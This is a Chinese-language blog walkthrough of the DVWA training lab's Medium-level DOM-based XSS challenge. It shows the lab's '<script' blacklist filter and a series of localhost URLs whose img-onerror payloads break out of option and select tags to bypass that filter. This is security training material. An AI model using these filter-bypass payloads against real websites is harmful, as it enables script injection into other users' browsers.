DVWA-10.2 XSS (DOM)(DOM型跨站脚本攻击)-Medium

 
更多

Medium Level

查看代码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

相关函数说明

stripos(string,find,start)

返回字符串在另一字符串中第一次出现的位置(不区分大小写),如果没有找到字符串则返回 false 。

可以看到,Medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值。基于黑名单的思想,这里还使用了stripos 用于检测default值中是否有 <script (不区分大小写),如果有的话,则将 default=English 。

很明显,这里过滤了 <script  ,那么我们可以使用<img src=1 onerror=alert(‘xss’)>绕过。

漏洞利用

我们尝试访问URL:

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English<img src=1 οnerrοr=alert(‘xss’)> 

发现并没有弹出任何页面

我们查看网页源代码,发现我们的语句被插入到了value值中,但是并没有插入到option标签的值中,所以img标签并没有发起任何作用。

所以我们得先闭合前面的标签,构造链接:

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English</option><img src=1 onerror=alert(‘xss’)>

发现我们的语句还是没有执行

我们查看网页源代码,发现我们的语句中还是只有 English 被插入到了option标签的值中

于是我们继续构造语句去闭合select标签

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English</option></select><img src=1 onerror=alert(‘xss’)>

可以看到,我们的语句成功执行了

查看网页源代码,发现此时我们的img标签就是独立的一条语句了

 

参考:https://blog.csdn.net/qq_36119192/article/details/82932557

打赏

本文固定链接: https://www.cxy163.net/archives/4888 | 绝缘体

该日志由 绝缘体.. 于 2020年05月06日 发表在 未分类 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: DVWA-10.2 XSS (DOM)(DOM型跨站脚本攻击)-Medium | 绝缘体
关键字: , , , ,

DVWA-10.2 XSS (DOM)(DOM型跨站脚本攻击)-Medium:等您坐沙发呢!

发表评论


快捷键:Ctrl+Enter